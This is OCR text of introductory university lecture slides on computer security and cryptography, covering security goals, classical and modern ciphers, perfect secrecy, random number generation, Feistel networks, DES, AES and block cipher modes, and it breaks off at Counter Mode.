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What is this course abo

Aims

to cover essential concepts of computer security and cryptography

Objectives
By the end of the course you should
@ be familiar with core security terms and concepts;

@ have gained basic insight into aspects of modern cryptography and
its applications;

@ have a basic understanding of some commonly used attack
techniques and protection mechanisms;

@ appreciate the range of meanings that “security” has across different
applications.



Cryptography
Entity authentication

°
°

@ Access control
@ Operating system security
@ Software security

@ Network security

@ Security policies and management



Recommended reading

While this course does not follow any particular textbook, the following
two together provide good introductions at an appropriate level of detail:

@ Christof Paar, Jan Pelzl:
Understanding Cryptography
Springer, 2010

http://www.springerlink.com/content/978-3-642-04100-6/
http://www.crypto-textbook.com/

@ Dieter Gollmann:
Computer Security
2nd ed., Wiley, 2006

The course notes and some of the exercises also contain URLs with more
detailed information.


http://www.springerlink.com/content/978-3-642-04100-6/
http://www.crypto-textbook.com/

Computer Security / Information Security

Computer Security: the discipline of managing malicious intent and
behaviour involving information and communication technology



Computer Security / Information Security

Definition

Computer Security: the discipline of managing malicious intent and
behaviour involving information and communication technology

Malicious behaviour can include
o Fraud/theft — unauthorised access to money, goods or services

@ Vandalism — causing damage for personal reasons (frustration, envy,
revenge, curiosity, self esteem, peer recognition, ...)

Terrorism — causing damage, disruption and fear to intimidate
Warfare — damaging military assets to overthrow a government
Espionage — stealing information to gain competitive advantage
Sabotage — causing damage to gain competitive advantage
“Spam” — unsolicited marketing wasting time/resources

Illegal content — child sexual abuse images, copyright infringement,
hate speech, blasphemy, ... (depending on jurisdiction) <> censorship
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“Spam” — unsolicited marketing wasting time/resources

Illegal content — child sexual abuse images, copyright infringement,
hate speech, blasphemy, ... (depending on jurisdiction) <> censorship

Security vs safety engineering: focus on intentional rather than
accidental behaviour, presence of intelligent adversary.
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Where is information security a concern?

Many organisations are today critically dependent on the flawless
operation of computer systems. Without these, we might lose

@ in a business environment: legal compliance, cash flow, business
continuity, profitability, commercial image and shareholder
confidence, product integrity, intellectual property and competitive
advantage

@ in a military environment: exclusive access to and effectiveness of
weapons, electronic countermeasures, communications secrecy,
identification and location information, automated defences

@ in a medical environment: confidentiality and integrity of patient
records, unhindered emergency access, equipment safety, correct
diagnosis and treatment information

@ in households: PC, privacy, correct billing, burglar alarms

@ in society at large: utility services, communications, transport,
tax/benefits collection, goods supply, ...
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Cryptography: application examples

Home and Business:

Mobile/cordless phones, DVD players, pay-TV decoders, game consoles,
utility meters, Internet (SSL, S/MIME, PGP, SSH), software license
numbers, door access cards, car keys, burglar alarms

Military:

Identify friend /foe systems, tactical radios, low probability of intercept
and jamming resistant radios and radars (spread-spectrum and
frequency-hopping modulation), weapon-system unlock codes and
permissive action links for nuclear warheads, navigation signals
Banking;:

Card authentication codes, PIN verification protocols, funds transfers,
online banking, electronic purses, digital cash



Common information security targets

Most information-security concerns fall into three broad categories:

Confidentiality ensuring that information is accessible only to those
authorised to have access

Integrity safeguarding the accuracy and completeness of
information and processing methods

Availability ensuring that authorised users have access to
information and associated assets when required

Alice l Bob

Eve

Alice —— Mallory «———— Bob



Aspects of integrity and availability protection

@ Rollback — ability to return to a well-defined valid earlier state (—
backup, revision control, undo function)

@ Authenticity — verification of the claimed identity of a
communication partner

@ Non-repudiation — origin and/or reception of message cannot be
denied in front of third party

@ Audit — monitoring and recording of user-initiated events to detect
and deter security violations

@ Intrusion detection — automatically notifying unusual events

“Optimistic security”

Temporary violations of security policy may be tolerable where correcting
the situation is easy and the violator is accountable. (Applicable to
integrity and availability, but usually not to confidentiality requirements.)



Variants of confidentiality

Data protection/personal data privacy — fair collection and use of
personal data, in Europe a set of legal requirements

Anonymity/untraceability — ability to use a resource without
disclosing identity/location

Unlinkability — ability to use a resource multiple times without others
being able to link these uses together

HTTP “cookies” and the Global Unique Document Identifier (GUID) in Microsoft Word
documents were both introduced to provide linkability.

@ Pseudonymity — anonymity with accountability for actions.

Unobservability — ability to use a resource without revealing this
activity to third parties

low-probability-of-intercept radio, steganography, information hiding

Copy protection, information flow control —

ability to control the use and flow of information

A more general proposal to define of some of these terms by Pfitzmann/K8hntopp:
http://www.springerlink.com/link.asp?id=xkedq9pftwh8j752
http://dud.inf.tu-dresden.de/Anon_Terminology.shtml


http://www.springerlink.com/link.asp?id=xkedq9pftwh8j752
http://dud.inf.tu-dresden.de/Anon_Terminology.shtml

Cryptology = Cryptography + Cryptanalysis

Encryption scheme (symmetric)
K < Gen, C <+ Enck(P), P <+ Deck(C), P = Deck(Enck(P))

key generation encryption decryption

Types of cryptanalysis

@ ciphertext-only attack — the cryptanalyst obtains examples of
ciphertext C and knows statistical properties of typical plaintext P

@ known-plaintext attack — the cryptanalyst obtains examples of
plaintext/ciphertext pairs (P, C)

@ chosen-plaintext attack — the cryptanalyst can generate a number of
plaintexts and will obtain the corresponding ciphertext

@ adaptive chosen-plaintext attack — the cryptanalyst can perform
several chosen-plaintext attacks and use knowledge gained from
previous ones in the preparation of new plaintext

@ chosen-ciphertext attack — the cryptanalyst can get some arbitrary
ciphertexts decrypted (“oracle access") except for the C of interest

Goals of adversary: gain information about P, recover P and K,
fake C, modify P



Kerckhoffs' principle |

Requirements for a good traditional military encryption system:

o

o

o

o

The system must be substantially, if not mathematically,
undecipherable;

The system must not require secrecy and can be stolen by the
enemy without causing trouble;

It must be easy to communicate and remember the keys without
requiring written notes, it must also be easy to change or modify the
keys with different participants;

The system ought to be compatible with telegraph communication;

The system must be portable, and its use must not require more
than one person;

Finally, regarding the circumstances in which such system is applied,
it must be easy to use and must neither require stress of mind nor
the knowledge of a long series of rules.

Auguste Kerckhoffs: La cryptographie militaire, Journal des sciences militaires, 1883.
http://petitcolas.net/fabien/kerckhoffs/
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@ Its security relies entirely on the key being secret.
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Requirement for a modern encryption system:

o
o

It was evaluated assuming that the enemy knows the system.
Its security relies entirely on the key being secret.

Note:

The design and implementation of a secure communication system is
a major investment and is not easily and quickly repeated.

Relying on the enemy not to know the system is “security by
obscurity”.

The most trusted cryptosystems have been published, standardized,
and withstood years of cryptanalysis.

A cryptographic key should be just a random choice that can be
easily replaced.

Keys can and will be lost: cryptographic systems should provide
support for easy rekeying, redistribution of keys, and quick
revocation of compromised keys.



Some basic discrete mathematics notation

@ |A| is the number of elements (size) of the finite set A.

@ A X Ay x -+ x A, is the set of all n-tuples (ay, az, ..., a,) with
a1 € Ay, ap € Ay, etc. If all the sets A; (1 <7 < n) are finite:
|A1 XA2 X XA,,|: ‘A1||A2‘ |An|

o A" is the set of all n-tuples (a1, az,...,3,) = a13z...a, with

ay, az,...,an € A. If Als finite then |A"| = |A|".

o AS" =[J] A and A* = JZ, A

@ Function f : A — B maps each element of A to an element of B:
a— f(a)or b=f(a)withac Aand be B.

@ A function f: A; X Ay X --- X A, = B maps each element of A to
an element of B: (a1, ap,...,a,) — f(a1,a,...,a,) or
f(a1, a2,...,a,) = b.

@ A permutation f : A <> A maps A onto itself and is invertible:
x = f71(f(x)). There are | Perm(A)| = |[A|! =1-2- --- - |A]
permutations over A.

@ BA is the set of all functions of the form f: A — B. If A and B are
finite, there will be |BA| = |B|IAl such functions.



A group (G,e) is a set G and an operator ® : G X G — G such that
@ aebec G forall a,be G (closure)
@ ae(bec)=(aeb)ecforall a b, c € G (associativity)

@ there exists 1 € G with aelg =1gea=aforallac G
(neutral element).

o for each a € G there exists b € G such that aeb=bea=1¢
(inverse element)

If also ae b= beaforall a,bc G (commutativity) then (G, e) is an
abelian group.

If there is no inverse element for each element, (G, e) is a monoid.

Examples of abelian groups:
o (Z,+), (R,+), (R\ {0},-)
o ({0,1}", @) where a1a2...a, D b1ba... by = c1ca ... ¢, with
(a; + bj)mod 2 =¢; (forall 1 <i < n, a;, b;,ci € {0,1})
= bit-wise XOR

Examples of monoids: (Z,-), ({0,1}*,]|) (concatenation of bit strings)



Rings, fields

A ring (R,H,X) is a set R and two operators H: R x R — R and
M: R x R — R such that

e (R,H) is an abelian group
o (R,X) is a monoid
0 alX(bHc)=(aXb)H (aXc) and (aBHbH)Kc=(aKc)H(bK )
(distributive law)
If also aXl b = bX a, then we have a commutative ring.

Example for a commutative ring: (Z[x],+, ), where Z[x] is the set of
polynomials with variable x and coefficients from Z.

A field (F,H,X) is a set F and two operators B : F x F — F and
X: F x F — F such that

e (F,H) is an abelian group with neutral element Of
o (F\{0f},X) is also an abelian group with neutral element 17 # Of
0 aX(bHc)=(aXb)HB (aXc) and (aBHbH)Kc=(aKc)H(bK )
(distributive law)
Examples for fields: (Q,+,-), (R,+,-), (C,+,")



Number theory and modular arithmetic

For integers a, b, ¢, d and n > 1
@eamodb=c = 0<c<bANdd:a—db=c
@ we write a= b (mod n) if n|(a — b)
@ a1 =1 (mod p) if gcd(a, p) = 1 (Fermat's little theorem)
°

we call the set Z, = {0,1,...,n— 1} the integers modulo n and
perform addition, subtraction, multiplication and exponentiation
modulo n.

@ (Z,,+) is an abelian group and (Z,, +, -) is a commutative ring

@ a € Z, has a multiplicative inverse a—! with aa~! =1 (mod n) if
and only if ged(a, n) = 1. The multiplicative group Z} of Z, is the
set of all elements that have an inverse.

o If pis prime, then Z, is a (finite) field, that is every element except
0 has a multiplicative inverse, i.e. Zy = {1,...,n—1}.

e 7% has a generator g with Z3 = {g' mod p|0 </ < p—2}.



Finite fields (Galois fields)

(Zp,+,) is a finite field with p elements, where p is a prime number.
Also written as GF(p), the “Galois field” of order p.

We can also construct finte fields GF(p") with p” elements:

@ Elements: polynomials over variable x with degree less than n and
coefficients from the finite field Z,

@ Modulus: select an irreducible polynomial T € Z,[x] of degree n
T(X)=cx"+ -+ ox*+ax+q

where ¢; € Z,, for all 0 <7 < n. An irreducible polynomial cannot be
factored into two other polynomials from Z,[x] \ {0,1}.

o Addition: @ is normal polynomial addition (i.e., pairwise addition of
the coefficients in Z)

@ Multiplication: ® is normal polynomial multiplication, then divide
by T and take the remainder (i.e., multiplication modulo T).
Theorem: any finite field has p” elements (p prime, n > 0)
Theorem: all finite fields of the same size are isomorphic



GF(2) is particularly easy to implement in hardware:

@ addition = subtraction = XOR gate

@ multiplication = AND gate

@ division can only be by 1, which merely results in the first operand
Of particular practical interest in modern cryptography are larger finite

fields of the form GF(2"):
@ Polynomials are represented as bit words, each coefficient = 1 bit.
e Addition/subtraction is implemented via bit-wise XOR instruction.

@ Multiplication and division of binary polynomials is like binary
integer multiplication and division, but without carry-over bits. This
allows the circuit to be clocked much faster.

Recent Intel/AMD CPUs have added instruction PCLMULQDQ for
64 x 64-bit carry-less multipication. This helps to implement arithmetic
in GF(2%%) or GF(2'28) more efficiently.



GF(28) example

The finite field GF(28) consists of the 256 polynomials of the form
ax"+ 4 ox® + ax+ o ¢ €{0,1}

each of which can be represented by the byte c;cgcscacscrcycp.

As modulus we chose the irreducible polynomial

T(xX)=x®+x*+x*+x+1 or 100011011

Example operations:

o (X" +xX°+x+ D)X +x0+1)=x+x5+x
or equivalently 10100011 ¢ 11000001 = 01100010

o (X°+x*+ 1) @7 (x> +1)=[(x®+x*+1)(x>* + 1)] mod T(x) =
(B+x*+x2+ 1) mod B+ x*+x3+x+1) =
(B+x*+x2+ D)o (B +x* +x3+x+1) =x3+x® +x
or equivalently
01010001 ®+ 00000101 = 100010101 ¢ 100011011 = 00001110

20



Historic examples of simple ciphers (insecure)

Shift Cipher: Treat letters {A,...,Z} like integers {0, ...,25} = Zgg.
Choose key K € Zyg, encrypt by addition modulo 26, decrypt by
subtraction modulo 26.

Example with K=25: IBM—HAL.

K = 3 known as Caesar Cipher, K = 13 as rot13.

The tiny key space size 26 makes brute force key search trivial.
Transposition Cipher: K is permutation of letter positions.
Key space is n!, where n is the permutation block length.

Substitution Cipher (monoalphabetic): Key is permutation
K : Zoe > Zos. Encrypt plaintext P = p1p> ... pm with ¢; = K(p;) to get
ciphertext C = c1¢y . .. ¢, decrypt with p; = K~1(c;).

Key space size 26! > 4 x 10%® makes brute force search infeasible.

21



Monoalphabetic substitution ciphers allow easy ciphertext-only attack
with the help of language statistics (for messages that are at least few
hundred characters long):

English letter frequency
0.14 — T T T T T T

0.12

0.1
0.08
0.06
0.04

0.02

0
ABCDEFGHIJKLMNOPQRSTUVWXYZ

The most common letters in English:
E,T,AO,I,N,SSH R DL CU MWFGY,PBYV,...

The most common digrams in English:
TH, HE, IN, ER, AN, RE, ED, ON, ES, ST, EN, AT, TO, ...

The most common trigrams in English:
THE, ING, AND, HER, ERE, ENT, THA, NTH, WAS, ETH, ...



Vigenere cipher

Inputs: ABCDEFGHI JKLMNOPQRSTUVWXYZ
BCDEFGHIJKLMNOPQRSTUVWXYZA

o Key word K = kiko ...k, CDEFGHIJKLMNOPQRSTUVWXYZAB
DEFGHIJKLMNOPQRSTUVWXYZABC

o Plaintext P=pip>...pm EFGHI JKLMNOPQRSTUVWXYZABCD

FGHIJKLMNOPQRSTUVWXYZABCDE
GHIJKLMNOPQRSTUVWXYZABCDEF

Encrypt into ciphertext: HIJKLMNOPQRSTUVWXYZABCDEFG
IJKLMNOPQRSTUVWXYZABCDEFGH
_ JKLMNOPQRSTUVWXYZABCDEFGHI

¢i = (Pi + Ki(i=1) mod n]+1) mod 26 q

KLMNOPQRSTUVWXYZABCDEFGHIJ
LMNOPQRSTUVWXYZABCDEFGHI JK

e MNOPQRSTUVWXYZABCDEFGHI JKL
Example: K = SECRET NOPQRSTUVWXYZABCDEFGHI JKLM
OPQRSTUVWXYZABCDEFGHI JKLMN

S C PQRSTUVWXYZABCDEFGHIJKLMNO
AT TD QRSTUVWXYZABCDEFGHI JKLMNOP
- RSTUVWXYZABCDEFGHI JKLMNOPQ

SI X F STUVWXYZABCDEFGHI JKLMNOPQR
TUVWXYZABCDEFGHI JKLMNOPQRS
UVWXYZABCDEFGHI JKLMNOPQRST
‘s . . VWXYZABCDEFGHI JKLMNOPQRSTU

The modular addition can be replaced with XOR: WXYZABCDEFCHI JXLNNOPGRSTUV
XYZABCDEFGHI JKLMNOPQRSTUVW

¢ = pi ® Ki(i—1) mod nl+1 pi, ki,ci € {0,1 YZABCDEFGHI JKLMNOPQRSTUVWX

[(i=1) mod n]+ P {0.1} ZABCDEFGHI JKLMNOPQRSTUVWXY

S|E|C|R|E|T
AIT|TIA|C|K
S| X|V|R|G|D

Vigenére is an example of a polyalphabetic cipher.

23



Perfect secrecy |

@ Computational security — The most efficient known algorithm for
breaking a cipher would require far more computational steps than
any hardware available to an opponent can perform.

@ Unconditional security — The opponent has not enough information
to decide whether one plaintext is more likely to be correct than
another, even if unlimited computational power were available.

24



Perfect secrecy Il

Let P,C, K denote the sets of possible plaintexts, ciphertexts and keys.
Let further E: X xP — Cand D : K xC — P with D(K,E(K,P)) =P
denote the encrypt and decrypt functions of a cipher system. Let also

P e P, CeC and K € K denote random variables for plaintext,
ciphertext and keys, where pp(P) and pic(K) are the cryptanalyst's
a-priori knowledge about the distribution of plaintext and keys.

The distribution of ciphertexts can then be calculated as

ZPIC (D(K, C)).

We can also determine the conditional probability
pe(CIP) = > pe(K)
{K|P=D(K,C)}

and combine both using Bayes theorem to the plaintext probability

distribution

pr(P) - pc(CIP) _ pr(P) - > (kip=p(k,c)} Pr(K)
pc(C) >k Pc(K) - pr(D(K, C))

pr(P|C) =

25



Perfect secrecy Il

We call a cipher system unconditionally secure if

pp(P|C) = pp(P)

for all P, C.

Perfect secrecy means that the cryptanalyst’s a-posteriori probability
distribution of the plaintext, after having seen the ciphertext, is identical
to its a-priori distribution. In other words: looking at the ciphertext leads
to no new information.

C.E. Shannon: Communication theory of secrecy systems. Bell System Technical Journal, Vol 28,
Oct 1949, pp 656—715. http://netlab.cs.ucla.edu/wiki/files/shannon1949.pdf

26
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Vernam cipher / one-time pad

The one-time pad is a variant of the Vigenere Cipher with m = n. The
key is as long as the plaintext. No key bit is ever used to encrypt more
than one plaintext bit:

¢ =pi Dk iE{l,...,m}

Note: If p is a random bit with some probability distribution and k is a random bit with uniform
probability distribution, then p @ k will have uniform probability distribution.

[This works also in (Zn, +) or (GF(2"), ®).]

For each possible plaintext P, there exists a key K that turns a given
ciphertext C into P = D(K, C). If all K are equally likely, then also all P
will be equally likely for a given C, which fulfills Shannon's definition of
perfect secrecy.

What happens if you use a one-time pad twice?

One-time pads have been used intensively during significant parts of the 20th century for
diplomatic communications security, e.g. on the telex line between Moscow and Washington. Keys
were generated by hardware random bit stream generators and distributed via trusted couriers.

In the 1940s, the Soviet Union encrypted part of its diplomatic communication using recycled
one-time pads, leading to the success of the US decryption project VENONA.
http://www.nsa.gov/public_info/declass/venona/

27
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Streamciphers |

A streamcipher replaces the inconvenient one-time pad with
algorithmically generated sequences of pseudo-random numbers or bits,
with key K and/or “seed” Ry being secret:

Ri = fk(Ri-1,i)
G = P ogk(Rii)

How to pick f and g?

Pseudo-random number generators (PRNGs) are widely available in
algorithm libraries for simulations, games, probabilistic algorithms,
testing, etc. However, their behaviour is often easy to predict from just a
few samples of their output. Statistical random-number quality tests
(e.g., Marsaglia's Diehard test) provide no information about
cryptoanalytic resistance.

Stream ciphers require special cryptographically secure pseudo-random
number generators.

28



Streamciphers Il

Example (insecure)

Linear congruential generator with secret parameters (a, b, Rp):
Ri+1 = aR; + b mod m

Attack: guess some plain text (e.g., known file header), obtain for
example (Ry, Rz, R3), then solve system of linear equations over Z,:

R, = aR;+ b (mod m)
Rs = aRy+ b (mod m)

Solution:

a = (RR—R3)/(Ri— R)) (mod m)
b R2 — Rl(R2 — R3)/(R1 — R2) (mod m)

Multiple solutions if gcd(Ry — Ry, m) # 1: resolved using Ry or just by
trying all possible values.



Random bit generation |

In order to generate the keys and nonces needed in cryptographic
protocols, a source of random bits unpredictable for any adversary is
needed. The highly deterministic nature of computing environments
makes finding secure seed values for random bit generation a non-trivial
and often neglected problem.

Example (insecure)

The Netscape 1.1 web browser used a random-bit generator that was
seeded from only the time of day in microseconds and two process IDs.
The resulting conditional entropy for an eavesdropper was small enough
to enable a successful brute-force search of the SSL encryption session
keys.

lan Goldberg, David Wagner: Randomness and the Netscape browser. Dr. Dobb'’s Journal,
January 1996.
http://www.eecs.berkeley.edu/~daw/papers/ddj-netscape.html
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Random bit generation I

Examples for sources of randomness:

@ dedicated hardware (amplified thermal noise from reverse-biased
diode, unstable oscillators, Geiger counters)

@ high-resolution timing of user behaviour (key strokes, mouse
movement)

@ high-resolution timing of peripheral hardware response times (e.g.,
disk drives)

@ noise from analog/digital converters (sound card, camera)
@ network packet timing and content
@ high-resolution time

None of these random sources alone provides high-quality statistically
unbiased random bits, but such signals can be fed into a hash function to
condense their accumulated entropy into a smaller number of good
random bits.
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Random bit generation Il

The provision of a secure source of random bits is now commonly
recognised to be an essential operating system service.

Example (good practice)

The Linux /dev/random device driver uses a 4096-bit large entropy pool
that is continuously hashed with keyboard scan codes, mouse data,
inter-interrupt times, and mass storage request completion times in order
to form the next entropy pool. Users can provide additional entropy by
writing into /dev/random and can read from this device driver the
output of a cryptographic pseudo random bit stream generator seeded
from this entropy pool. Operating system boot and shutdown scripts
preserve /dev/random entropy across reboots on the hard disk.

http://wuw.cs.berkeley.edu/~daw/rnd/
http://www.ietf.org/rfc/rfcl1750.txt
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Pseudo-random functions

Consider all possible functions of the form
r:{0,1}" — {0,1}"

How many different r are there? 272"

We obtain an m-bit to n-bit random function r by randomly picking one
of all these possible functions, with uniform probability.

A pseudo-random function (PRF) is a fixed, efficiently computable

function
f:{0,1}* x {0,1}" — {0,1}"

that depends on an additional input parameter K € {0, 1}, the key.
Each choice of K leads to a function

fix : {0,1}™ — {0,1}" with fx(x) = f(K,x)
For typical lengths (e.g., k, m > 128), the set of all possible functions f

will be a tiny subset of the set of all possible functions r.

For a secure pseudo-random function f there must be no practical way to
distinguish between fx and r for anyone who does not know K.
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Security of a pseudo-random function

To test the PRF f : {0, 1}* x {0,1}™ — {0, 1}" play the following game:
Player A randomly picks with uniform probability a bit b € {0,1}
If b =0, player A picks a random function r : {0,1}™ — {0, 1}"

If b= 1, player A picks with uniform probability a key K € {0, 1}X.
Player B sends a challenge x; € {0,1}™

If b =0 then player A answers with r(x;), otherwise with f(K, x;)
Repeat steps 4 and 5 for i =1,...,q

Player B outputs bit b’ € {0, 1}, her guess of the value of b

If the advantage

000000

Advpge = |Prob[b’ = 1|b = 1] — Prob[t’ = 1|b = 0]| € [0, 1]
is negligible (e.g., < 278, dropping exponentially with rising k) for any

known statistical test algorithm that player B might use, we consider f to
be a secure PRF.
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“Computationally infeasible”

With ideal cryptographic primitives (e.g., PRF indistinguishable from
random functions), the only form of possible cryptanalysis should be an
exhaustive search of all possible keys (brute force attack).

The following numbers give a rough idea of the limits involved:

Let's assume we can later this century produce VLSI chips with 10 GHz
clock frequency and each of these chips costs 10 $ and can test in a
single clock cycle 100 keys. For 10 million $, we could then buy the chips
needed to build a machine that can test 108 ~ 250 keys per second.
Such a hypothetical machine could break an 80-bit key in 7 days on
average. For a 128-bit key it would need over 10'? years, that is over
100x the age of the universe.

Rough limit of computational feasiblity: 28 iterations
(i.e., < 2% feasible with effort, but > 2% certainly not)

For comparison: the fastest key search effort published so far achieved in the order of 237 keys per
second, using many thousand Internet PCs.

http://www.cl.cam.ac.uk/~rncl/brute.html
http://wuw.distributed.net/
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Pseudo-random permutations

Similar to pseudo-random functions, we can also define pseudo-random
permutations E and matching inverse D

E:{0,1}* x {0,1}" — {0,1}"

D:{0,1}* x {0,1}" — {0,1}"

with
Dk(Ex(x))=x  forall K €{0,1}% x € {0,1}"

For anyone not knowing anything about the uniformly chosen secret key
K, the function Ex should be computationally indistinguishable from a
random permutation that was picked with uniform probability distribution
from the 2" possible permutations of the form £ : {0,1}" <+ {0,1}".
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Blockciphers

Practical, efficient algorithms that try to implement a pseudo-random
permutation (and its inverse) are called "blockciphers”.

Typical alphabet and key size: k,n =128

Implementation goals and strategies:

Confusion — make relationship between key and ciphertext as
complex as possible

Diffusion — remove statistical links between plaintext and ciphertext

Prevent adaptive chosen-plaintext attacks, including differential and
linear cryptanalysis

Product cipher: iterate many rounds of a weak pseudo-random
permutation to get a strong one

Feistel structure, substitution/permutation network, key-dependent
s-boxes, mix incompatible groups, transpositions, linear
transformations, arithmetic operations, non-linear substitutions, ...
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Feistel structure |

Problem: Build a pseudo-random permutation Ex : P <> C (invertible)
using pseudo-random functions fx ; (non-invertible) as building blocks.

Solution: Split the plaintext block P (e.g., 64 bits) into two
equally-sized halves L and R (e.g., 32 bits each):

P = Ly||Ro

Then the non-invertible function fx is applied in each round /
alternatingly to one of these halves, and the result is XORed onto the
other half, respectively:

R,‘ = Ri-1D fK,,'(L,'_l) and L,' = L,'_l for odd i
Li=Li_19 fK7;(R,'_1) and Ri= Ri_1 for even |

After rounds i = 1,..., n have been applied, the two halves are
concatenated to form the ciphertext block C:

C = Ly|R,
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Feistel structure Il

Plaintext:

Lo Ro




Feistel structure Il

n =1 round:

Lo Ro
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Feistel structure Il

n = 2 rounds:

Lo Ro
!
'

L1 Rl
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Feistel structure Il

n = 3 rounds:

Lo RO
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Feistel structure Il

Decryption:

Lo RO
t

% o 3
t

L1 Rl
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L2 R2
t

% = 3
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L3 R3
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Feistel structure IV

Decryption works backwards, undoing round after round, starting from
the ciphertext. This is possible, because the Feistel structure is arranged

such that during decryption in any round i = n, ..., 1, the input value for
fk.i is known, as it formed half of all bits of the result of round i during
encryption:

R_1=R ® fK7;(L;) and Li_1=L; for odd i
Lioy =L & fxi(Ri) and Ri_1=R; for even |

Luby—Rackoff construction

If f is a pseudo-random function, n = 3 rounds are needed to build a
pseudo-random permutation.

M. Luby, C. Rackoff: How to construct pseudorandom permutations from pseudorandom functions.
CRYPTO’85, LNCS 218, http://www.springerlink.com/content/27t7330g746q2168/

41


http://www.springerlink.com/content/27t7330g746q2168/

Data Encryption Standard (DES)

In 1977, the US government standardized a block cipher for unclassified
data, based on a proposal by an IBM team led by Horst Feistel.

DES has a block size of 64 bits and a key size of 56 bits. The relatively
short key size and its limited protection against brute-force key searches
immediately triggered criticism, but this did not prevent DES from
becoming the most commonly used cipher for banking networks and
numerous other applications for more than 25 years.

DES uses a 16-round Feistel structure. Its round function f is much
simpler than a good pseudo-random function, but the number of
iterations increases the complexity of the resulting permutation
sufficiently.

DES was designed for hardware implementation such that the same
circuit can be used with only minor modification for encryption and

decryption. It is not particularly efficient in software.
http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf
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Strengthening DES

Two techniques have been widely used to extend the short DES key size:
DESX 2 x 64+ 56 = 184 bit keys:

DESXKhKZ,;Q(P) =K @ DESKZ(P ©® K3)

Triple DES (TDES) 3 x 56 = 168-bits keys:

TDESk(P) = DESk,(DES;'(DESk,(P)))
TDES, '(C) = DES,'(DESk,(DES,'(C)))

3
Where key size is a concern, K; = K3 is used = 112 bit key. With
K1 = K> = K3, the TDES construction is backwards compatible to DES.

Double DES would be vulnerable to a meet-in-the-middle attack that
requires only 257 iterations and 257 blocks of storage space: the known P
is encrypted with 2% different keys, the known C is decrypted with 25¢
keys and a collision among the stored results leads to K; and K.
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Advanced Encryption Standard (AES)

In November 2001, the US government published the new Advanced
Encryption Standard (AES), the official DES successor with 128-bit block
size and either 128, 192 or 256 bit key length. It adopted the “Rijndael”
cipher designed by Joan Daemen and Vincent Rijmen, which offers
additional block/key size combinations.
Each of the 9-13 rounds of this substitution-permutation cipher involves:

@ an 8-bit s-box applied to each of the 16 input bytes

@ permutation of the byte positions

@ column mix, where each of the four 4-byte vectors is multiplied with

a 4 x 4 matrix in GF(28)

@ XOR with round subkey
The first round is preceded by another XOR with a subkey, the last round
lacks the column-mix step.
Software implementations usually combine the first three steps per byte
into 16 8-bit — 32-bit table lookups.

http://csrc.nist.gov/encryption/aes/
http://www.iaik.tu-graz.ac.at/research/krypto/AES/
Recent CPUs with AES hardware support: Intel/AMD x86 AES-NI instructions, VIA PadLock.
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Illustration by John Savard, http://www.quadibloc.com/crypto/co040401.htm
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Electronic Code Book (ECB) |

ECB is the simplest mode of operation for block ciphers (DES, AES).
The message P is cut into m n-bit blocks:

Pi||Pz|| ... ||Pm = P||padding
Then the block cipher Ek is applied to each n-bit block individually:

C,':EK(P,') i:1,...,m
C=aGlG]...||Cn

Py P, Pm

i |

Ex Ex . Ex

i i

G G Cm

-

-~
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Electronic Code Book (ECB) Il

Avoid using Electronic Code Book (ECB) mode!

It suffers several problems:

@ Repeated plaintext messages (or blocks) can be recognised by the
eavesdropper as repeated ciphertext. If there are only few possible
messages, an eavesdropper might quickly learn the corresponding
ciphertext.

@ Plaintext block values are often not uniformly distributed, for
example in ASCII encoded English text, some bits have almost fixed
values.

As a result, not the entire input alphabet of the block cipher is
utilised, which simplifies for an eavesdropper building and using a
value table of Ek.

http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
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Electronic Code Book (ECB) I

Plain-text bitmap:

MNEVER BE
SURE.

TOUR OF ACCOUNTING |§ ARE
E NIME NINE YOu THAT'S THE
OVER HERE [ NINE NINE SURE PROBLEM
WE HAVE QUR 3 NINE NINE THAT'S WITH RAN-
RAMNDOM NUMBER § RANDOM? DOMMESS :
GENERATOR . \ YOU CAN

o —

[olatloy ® 2001 United Featurs Synclcate, inc.

www.dilbert.com

Copyright 2 2881 United Feature Syndicate, Inc.

DES-ECB encrypted:
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Randomized encryption

A randomized encryption scheme

Enc: {0,1}¥x{0,1}" x{0,1} — {0,1}™
Dec : {0,1}*x{0,1}™ — {0,1}/
receives in addition to the k-bit key and /-bit plaintext also an r-bit

random value, which it uses to ensure that repeated encryption of the
same plaintext is unlikely to result in the same m-bit ciphertext.

With randomized encryption, the ciphertext will be slightly longer than
the plaintext: m > [, for example m=r + /.
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Cipher Block Chaining (CBC) |

The Cipher Block Chaining mode is one way of constructing a
randomized encryption scheme from a blockcipher Ek.

It XORs the previous ciphertext block into the plaintext block before

applying the block cipher. The entire ciphertext is randomised by
prefixing it with a randomly chosen initial vector (IV = G):

C = Ex(Pi® G_1)

—

e

—D—

Ex
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Cipher Block Chaining (CBC) Il

Py P> Pm
' ' '
—® —® —D
' v '
RND Ex Ex e Ex
T
! )
G G G Cn

initial vector

The input of the block cipher Ex is now uniformly distributed.

A repetition of block cipher input has to be expected only after around
V27 = 2% blocks have been encrypted with the same key, where n is the
block size in bits (— birthday paradox).
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Plain-text bitmap:

TOUR OF ACCOUNTING |% o are
z NINE NINE :| vou THAT'S THE
OVER HERE 3 NINE NINE £l cuRe PROBLEM
WE HAVE OUR 3 NINE NINE 2 Thate WITH RAN-
RANDOM NUMBER | § :| RANDOM?  DOMNESS:
YOU CAN
GENERATOR. :
£ 3 NEVER BE
3 H SURE.
2 g
K .
b E 5

Copyright 2 2881 United Feature Syndicate, Inc.

DES-CBC encrypted:



Cipher Feedback Mode (CFB)

C =P & Ex(C-1)
As in CBC, ( is a randomly selected initial vector, whose entropy will
propagate through the entire ciphertext.

This variant has two advantages over CBC, that can help to reduce
latency:

@ The blockcipher step needed to derive C; can be performed before
P; is known.

@ Incoming plaintext bits can be encrypted and output immediately;
no need to wait until another n-bit block is full.
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Output Feedback Mode (OFB)

Feeding the output of a block cipher back into its input leads to a
key-dependent sequence of pseudo-random blocks R; = Ex(R;_1) with

R() =0:
[ EK _— R,'

Again, the key K should be replaced before in the order of 22 n-bit blocks
have been generated, to reduce the risk that the random block generator
enters a cycle such that R; = R;_x for some k < 2" and all / > j.

Output Feedback Mode is a stream cipher; the plaintext is simply XORed
with the output of the above pseudo-random bit stream generator:

Ro=0, R =Ek(Ri-1), CG=P @R

OFB (and CFB) can also process messages in steps smaller than n-bit blocks, such as single bits or
bytes. To process m-bit blocks (m < n), an n-bit shift register is connected to the input of the
block cipher, only m bits of the n-bit output of Ex are XORed onto P;, the remaining n — m bits
are discarded, and m bits are fed back into the shift register (depending on the mode of operation).
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Counter Mode (CTR)

This mode is also a stream cipher. It obtains the pseudo-random bit
